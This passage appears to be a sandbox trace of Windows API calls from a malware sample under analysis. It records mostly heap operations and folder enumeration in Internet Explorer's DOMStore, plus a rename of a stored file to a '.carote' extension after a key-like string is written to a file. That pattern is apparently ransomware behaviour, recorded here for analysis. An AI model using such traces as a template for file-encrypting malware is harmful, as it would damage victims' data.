cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0114.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0114.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0114.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.641] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.642] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.642] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.642] CloseHandle (hObject=0x61c) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x7a222d0 [0114.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8f0) returned 0x7b14908 [0114.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a222d0 | out: hHeap=0x5010000) returned 1 [0114.642] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.carote")) returned 1 [0114.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.643] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.643] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0114.643] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20bf0 | out: hHeap=0x5010000) returned 1 [0114.644] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20bf0 [0114.644] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.648] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.648] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0114.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0114.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0114.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.649] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.650] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.650] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.650] PathFindFileNameW (pszPath="") returned="" [0114.650] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.650] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.650] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.650] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.650] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.650] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0114.650] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0114.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.651] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.651] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.651] PathFindFileNameW (pszPath="") returned="" [0114.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 